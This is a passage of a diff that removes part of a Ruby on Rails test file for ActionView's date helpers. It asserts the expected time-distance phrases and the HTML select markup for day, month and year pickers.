-require 'abstract_unit'
-
-class DateHelperTest < ActionView::TestCase
- tests ActionView::Helpers::DateHelper
-
- silence_warnings do
- Post = Struct.new("Post", :id, :written_on, :updated_at)
- Post.class_eval do
- def id
- 123
- end
- def id_before_type_cast
- 123
- end
- def to_param
- '123'
- end
- end
- end
-
- def assert_distance_of_time_in_words(from, to=nil)
- Fixnum.send :private, :/ # test we avoid Integer#/ (redefined by mathn)
-
- to ||= from
-
- # 0..1 minute with :include_seconds => true
- assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => true)
- assert_equal "less than 5 seconds", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => true)
- assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => true)
- assert_equal "less than 10 seconds", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => true)
- assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => true)
- assert_equal "less than 20 seconds", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => true)
- assert_equal "half a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => true)
- assert_equal "half a minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => true)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => true)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => true)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => true)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => true)
-
- # 0..1 minute with :include_seconds => false
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 4.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 5.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 9.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 10.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 19.seconds, :include_seconds => false)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 20.seconds, :include_seconds => false)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 39.seconds, :include_seconds => false)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 40.seconds, :include_seconds => false)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 59.seconds, :include_seconds => false)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 60.seconds, :include_seconds => false)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 89.seconds, :include_seconds => false)
-
- # Note that we are including a 30-second boundary around the interval we
- # want to test. For instance, "1 minute" is actually 30s to 1m29s. The
- # reason for doing this is simple -- in `distance_of_time_to_words`, when we
- # take the distance between our two Time objects in seconds and convert it
- # to minutes, we round the number. So 29s gets rounded down to 0m, 30s gets
- # rounded up to 1m, and 1m29s gets rounded down to 1m. A similar thing
- # happens with the other cases.
-
- # First case 0..1 minute
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 0.seconds)
- assert_equal "less than a minute", distance_of_time_in_words(from, to + 29.seconds)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 30.seconds)
- assert_equal "1 minute", distance_of_time_in_words(from, to + 1.minutes + 29.seconds)
-
- # 2 minutes up to 45 minutes
- assert_equal "2 minutes", distance_of_time_in_words(from, to + 1.minutes + 30.seconds)
- assert_equal "44 minutes", distance_of_time_in_words(from, to + 44.minutes + 29.seconds)
-
- # 45 minutes up to 90 minutes
- assert_equal "about 1 hour", distance_of_time_in_words(from, to + 44.minutes + 30.seconds)
- assert_equal "about 1 hour", distance_of_time_in_words(from, to + 89.minutes + 29.seconds)
-
- # 90 minutes up to 24 hours
- assert_equal "about 2 hours", distance_of_time_in_words(from, to + 89.minutes + 30.seconds)
- assert_equal "about 24 hours", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 29.seconds)
-
- # 24 hours up to 42 hours
- assert_equal "1 day", distance_of_time_in_words(from, to + 23.hours + 59.minutes + 30.seconds)
- assert_equal "1 day", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 29.seconds)
-
- # 42 hours up to 30 days
- assert_equal "2 days", distance_of_time_in_words(from, to + 41.hours + 59.minutes + 30.seconds)
- assert_equal "3 days", distance_of_time_in_words(from, to + 2.days + 12.hours)
- assert_equal "30 days", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 29.seconds)
-
- # 30 days up to 60 days
- assert_equal "about 1 month", distance_of_time_in_words(from, to + 29.days + 23.hours + 59.minutes + 30.seconds)
- assert_equal "about 1 month", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 29.seconds)
- assert_equal "about 2 months", distance_of_time_in_words(from, to + 44.days + 23.hours + 59.minutes + 30.seconds)
- assert_equal "about 2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 29.seconds)
-
- # 60 days up to 365 days
- assert_equal "2 months", distance_of_time_in_words(from, to + 59.days + 23.hours + 59.minutes + 30.seconds)
- assert_equal "12 months", distance_of_time_in_words(from, to + 1.years - 31.seconds)
-
- # >= 365 days
- assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years - 30.seconds)
- assert_equal "about 1 year", distance_of_time_in_words(from, to + 1.years + 3.months - 1.day)
- assert_equal "over 1 year", distance_of_time_in_words(from, to + 1.years + 6.months)
-
- assert_equal "almost 2 years", distance_of_time_in_words(from, to + 2.years - 3.months + 1.day)
- assert_equal "about 2 years", distance_of_time_in_words(from, to + 2.years + 3.months - 1.day)
- assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 3.months + 1.day)
- assert_equal "over 2 years", distance_of_time_in_words(from, to + 2.years + 9.months - 1.day)
- assert_equal "almost 3 years", distance_of_time_in_words(from, to + 2.years + 9.months + 1.day)
-
- assert_equal "almost 5 years", distance_of_time_in_words(from, to + 5.years - 3.months + 1.day)
- assert_equal "about 5 years", distance_of_time_in_words(from, to + 5.years + 3.months - 1.day)
- assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 3.months + 1.day)
- assert_equal "over 5 years", distance_of_time_in_words(from, to + 5.years + 9.months - 1.day)
- assert_equal "almost 6 years", distance_of_time_in_words(from, to + 5.years + 9.months + 1.day)
-
- assert_equal "almost 10 years", distance_of_time_in_words(from, to + 10.years - 3.months + 1.day)
- assert_equal "about 10 years", distance_of_time_in_words(from, to + 10.years + 3.months - 1.day)
- assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 3.months + 1.day)
- assert_equal "over 10 years", distance_of_time_in_words(from, to + 10.years + 9.months - 1.day)
- assert_equal "almost 11 years", distance_of_time_in_words(from, to + 10.years + 9.months + 1.day)
-
- # test to < from
- assert_equal "about 4 hours", distance_of_time_in_words(from + 4.hours, to)
- assert_equal "less than 20 seconds", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => true)
- assert_equal "less than a minute", distance_of_time_in_words(from + 19.seconds, to, :include_seconds => false)
-
- ensure
- Fixnum.send :public, :/
- end
-
- def test_distance_in_words
- from = Time.utc(2004, 6, 6, 21, 45, 0)
- assert_distance_of_time_in_words(from)
- end
-
- def test_time_ago_in_words_passes_include_seconds
- assert_equal "less than 20 seconds", time_ago_in_words(15.seconds.ago, :include_seconds => true)
- assert_equal "less than a minute", time_ago_in_words(15.seconds.ago, :include_seconds => false)
- end
-
- def test_distance_in_words_with_time_zones
- from = Time.mktime(2004, 6, 6, 21, 45, 0)
- assert_distance_of_time_in_words(from.in_time_zone('Alaska'))
- assert_distance_of_time_in_words(from.in_time_zone('Hawaii'))
- end
-
- def test_distance_in_words_with_different_time_zones
- from = Time.mktime(2004, 6, 6, 21, 45, 0)
- assert_distance_of_time_in_words(
- from.in_time_zone('Alaska'),
- from.in_time_zone('Hawaii')
- )
- end
-
- def test_distance_in_words_with_dates
- start_date = Date.new 1975, 1, 31
- end_date = Date.new 1977, 1, 31
- assert_equal("about 2 years", distance_of_time_in_words(start_date, end_date))
-
- start_date = Date.new 1982, 12, 3
- end_date = Date.new 2010, 11, 30
- assert_equal("almost 28 years", distance_of_time_in_words(start_date, end_date))
- assert_equal("almost 28 years", distance_of_time_in_words(end_date, start_date))
- end
-
- def test_distance_in_words_with_integers
- assert_equal "1 minute", distance_of_time_in_words(59)
- assert_equal "about 1 hour", distance_of_time_in_words(60*60)
- assert_equal "1 minute", distance_of_time_in_words(0, 59)
- assert_equal "about 1 hour", distance_of_time_in_words(60*60, 0)
- assert_equal "about 3 years", distance_of_time_in_words(10**8)
- assert_equal "about 3 years", distance_of_time_in_words(0, 10**8)
- end
-
- def test_distance_in_words_with_times
- assert_equal "1 minute", distance_of_time_in_words(30.seconds)
- assert_equal "1 minute", distance_of_time_in_words(59.seconds)
- assert_equal "2 minutes", distance_of_time_in_words(119.seconds)
- assert_equal "2 minutes", distance_of_time_in_words(1.minute + 59.seconds)
- assert_equal "3 minutes", distance_of_time_in_words(2.minute + 30.seconds)
- assert_equal "44 minutes", distance_of_time_in_words(44.minutes + 29.seconds)
- assert_equal "about 1 hour", distance_of_time_in_words(44.minutes + 30.seconds)
- assert_equal "about 1 hour", distance_of_time_in_words(60.minutes)
-
- # include seconds
- assert_equal "half a minute", distance_of_time_in_words(39.seconds, 0, :include_seconds => true)
- assert_equal "less than a minute", distance_of_time_in_words(40.seconds, 0, :include_seconds => true)
- assert_equal "less than a minute", distance_of_time_in_words(59.seconds, 0, :include_seconds => true)
- assert_equal "1 minute", distance_of_time_in_words(60.seconds, 0, :include_seconds => true)
- end
-
- def test_time_ago_in_words
- assert_equal "about 1 year", time_ago_in_words(1.year.ago - 1.day)
- end
-
- def test_select_day
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16))
- assert_dom_equal expected, select_day(16)
- end
-
- def test_select_day_with_blank
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), :include_blank => true)
- assert_dom_equal expected, select_day(16, :include_blank => true)
- end
-
- def test_select_day_nil_with_blank
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(nil, :include_blank => true)
- end
-
- def test_select_day_with_two_digit_numbers
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value="1">01</option>\n<option selected="selected" value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), :use_two_digit_numbers => true)
- assert_dom_equal expected, select_day(2, :use_two_digit_numbers => true)
- end
-
- def test_select_day_with_html_options
- expected = %(<select id="date_day" name="date[day]" class="selector">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(Time.mktime(2003, 8, 16), {}, :class => 'selector')
- assert_dom_equal expected, select_day(16, {}, :class => 'selector')
- end
-
- def test_select_day_with_default_prompt
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(16, :prompt => true)
- end
-
- def test_select_day_with_custom_prompt
- expected = %(<select id="date_day" name="date[day]">\n)
- expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_day(16, :prompt => 'Choose day')
- end
-
- def test_select_month
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16))
- assert_dom_equal expected, select_month(8)
- end
-
- def test_select_month_with_two_digit_numbers
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">01</option>\n<option value="2">02</option>\n<option value="3">03</option>\n<option value="4">04</option>\n<option value="5">05</option>\n<option value="6">06</option>\n<option value="7">07</option>\n<option value="8" selected="selected">08</option>\n<option value="9">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2011, 8, 16), :use_two_digit_numbers => true)
- assert_dom_equal expected, select_month(8, :use_two_digit_numbers => true)
- end
-
- def test_select_month_with_disabled
- expected = %(<select id="date_month" name="date[month]" disabled="disabled">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :disabled => true)
- assert_dom_equal expected, select_month(8, :disabled => true)
- end
-
- def test_select_month_with_field_name_override
- expected = %(<select id="date_mois" name="date[mois]">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :field_name => 'mois')
- assert_dom_equal expected, select_month(8, :field_name => 'mois')
- end
-
- def test_select_month_with_blank
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :include_blank => true)
- assert_dom_equal expected, select_month(8, :include_blank => true)
- end
-
- def test_select_month_nil_with_blank
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(nil, :include_blank => true)
- end
-
- def test_select_month_with_numbers
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8" selected="selected">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_numbers => true)
- assert_dom_equal expected, select_month(8, :use_month_numbers => true)
- end
-
- def test_select_month_with_numbers_and_names
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">1 - January</option>\n<option value="2">2 - February</option>\n<option value="3">3 - March</option>\n<option value="4">4 - April</option>\n<option value="5">5 - May</option>\n<option value="6">6 - June</option>\n<option value="7">7 - July</option>\n<option value="8" selected="selected">8 - August</option>\n<option value="9">9 - September</option>\n<option value="10">10 - October</option>\n<option value="11">11 - November</option>\n<option value="12">12 - December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true)
- assert_dom_equal expected, select_month(8, :add_month_numbers => true)
- end
-
- def test_select_month_with_numbers_and_names_with_abbv
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :add_month_numbers => true, :use_short_month => true)
- assert_dom_equal expected, select_month(8, :add_month_numbers => true, :use_short_month => true)
- end
-
- def test_select_month_with_abbv
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="1">Jan</option>\n<option value="2">Feb</option>\n<option value="3">Mar</option>\n<option value="4">Apr</option>\n<option value="5">May</option>\n<option value="6">Jun</option>\n<option value="7">Jul</option>\n<option value="8" selected="selected">Aug</option>\n<option value="9">Sep</option>\n<option value="10">Oct</option>\n<option value="11">Nov</option>\n<option value="12">Dec</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_short_month => true)
- assert_dom_equal expected, select_month(8, :use_short_month => true)
- end
-
- def test_select_month_with_custom_names
- month_names = %w(nil Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
- expected = %(<select id="date_month" name="date[month]">\n)
- 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month]}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
- assert_dom_equal expected, select_month(8, :use_month_names => month_names)
- end
-
- def test_select_month_with_zero_indexed_custom_names
- month_names = %w(Januar Februar Marts April Maj Juni Juli August September Oktober November December)
-
- expected = %(<select id="date_month" name="date[month]">\n)
- 1.upto(12) { |month| expected << %(<option value="#{month}"#{' selected="selected"' if month == 8}>#{month_names[month-1]}</option>\n) }
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :use_month_names => month_names)
- assert_dom_equal expected, select_month(8, :use_month_names => month_names)
- end
-
- def test_select_month_with_hidden
- assert_dom_equal "<input type=\"hidden\" id=\"date_month\" name=\"date[month]\" value=\"8\" />\n", select_month(8, :use_hidden => true)
- end
-
- def test_select_month_with_hidden_and_field_name
- assert_dom_equal "<input type=\"hidden\" id=\"date_mois\" name=\"date[mois]\" value=\"8\" />\n", select_month(8, :use_hidden => true, :field_name => 'mois')
- end
-
- def test_select_month_with_html_options
- expected = %(<select id="date_month" name="date[month]" class="selector" accesskey="M">\n)
- expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
- #result = select_month(Time.mktime(2003, 8, 16), {}, :class => 'selector', :accesskey => 'M')
- #assert result.include?('<select id="date_month" name="date[month]"')
- #assert result.include?('class="selector"')
- #assert result.include?('accesskey="M"')
- #assert result.include?('<option value="1">January')
- end
-
- def test_select_month_with_default_prompt
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(8, :prompt => true)
- end
-
- def test_select_month_with_custom_prompt
- expected = %(<select id="date_month" name="date[month]">\n)
- expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_month(8, :prompt => 'Choose month')
- end
-
- def test_select_year
- expected = %(<select id="date_year" name="date[year]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005)
- assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005)
- end
-
- def test_select_year_with_disabled
- expected = %(<select id="date_year" name="date[year]" disabled="disabled">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :disabled => true, :start_year => 2003, :end_year => 2005)
- assert_dom_equal expected, select_year(2003, :disabled => true, :start_year => 2003, :end_year => 2005)
- end
-
- def test_select_year_with_field_name_override
- expected = %(<select id="date_annee" name="date[annee]">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :field_name => 'annee')
- assert_dom_equal expected, select_year(2003, :start_year => 2003, :end_year => 2005, :field_name => 'annee')
- end
-
- def test_select_year_with_type_discarding
- expected = %(<select id="date_year" name="date_year">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(
- Time.mktime(2003, 8, 16), :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
- assert_dom_equal expected, select_year(
- 2003, :prefix => "date_year", :discard_type => true, :start_year => 2003, :end_year => 2005)
- end
-
- def test_select_year_descending
- expected = %(<select id="date_year" name="date[year]">\n)
- expected << %(<option value="2005" selected="selected">2005</option>\n<option value="2004">2004</option>\n<option value="2003">2003</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(Time.mktime(2005, 8, 16), :start_year => 2005, :end_year => 2003)
- assert_dom_equal expected, select_year(2005, :start_year => 2005, :end_year => 2003)
- end
-
- def test_select_year_with_hidden
- assert_dom_equal "<input type=\"hidden\" id=\"date_year\" name=\"date[year]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true)
- end
-
- def test_select_year_with_hidden_and_field_name
- assert_dom_equal "<input type=\"hidden\" id=\"date_anno\" name=\"date[anno]\" value=\"2007\" />\n", select_year(2007, :use_hidden => true, :field_name => 'anno')
- end
-
- def test_select_year_with_html_options
- expected = %(<select id="date_year" name="date[year]" class="selector" accesskey="M">\n)
- expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
- #result = select_year(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005}, :class => 'selector', :accesskey => 'M')
- #assert result.include?('<select id="date_year" name="date[year]"')
- #assert result.include?('class="selector"')
- #assert result.include?('accesskey="M"')
- #assert result.include?('<option value="2003"')
- end
-
- def test_select_year_with_default_prompt
- expected = %(<select id="date_year" name="date[year]">\n)
- expected << %(<option value="">Year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => true)
- end
-
- def test_select_year_with_custom_prompt
- expected = %(<select id="date_year" name="date[year]">\n)
- expected << %(<option value="">Choose year</option>\n<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
- expected << "</select>\n"
-
- assert_dom_equal expected, select_year(nil, :start_year => 2003, :end_year => 2005, :prompt => 'Choose year')
- end
-
- def test_select_hour
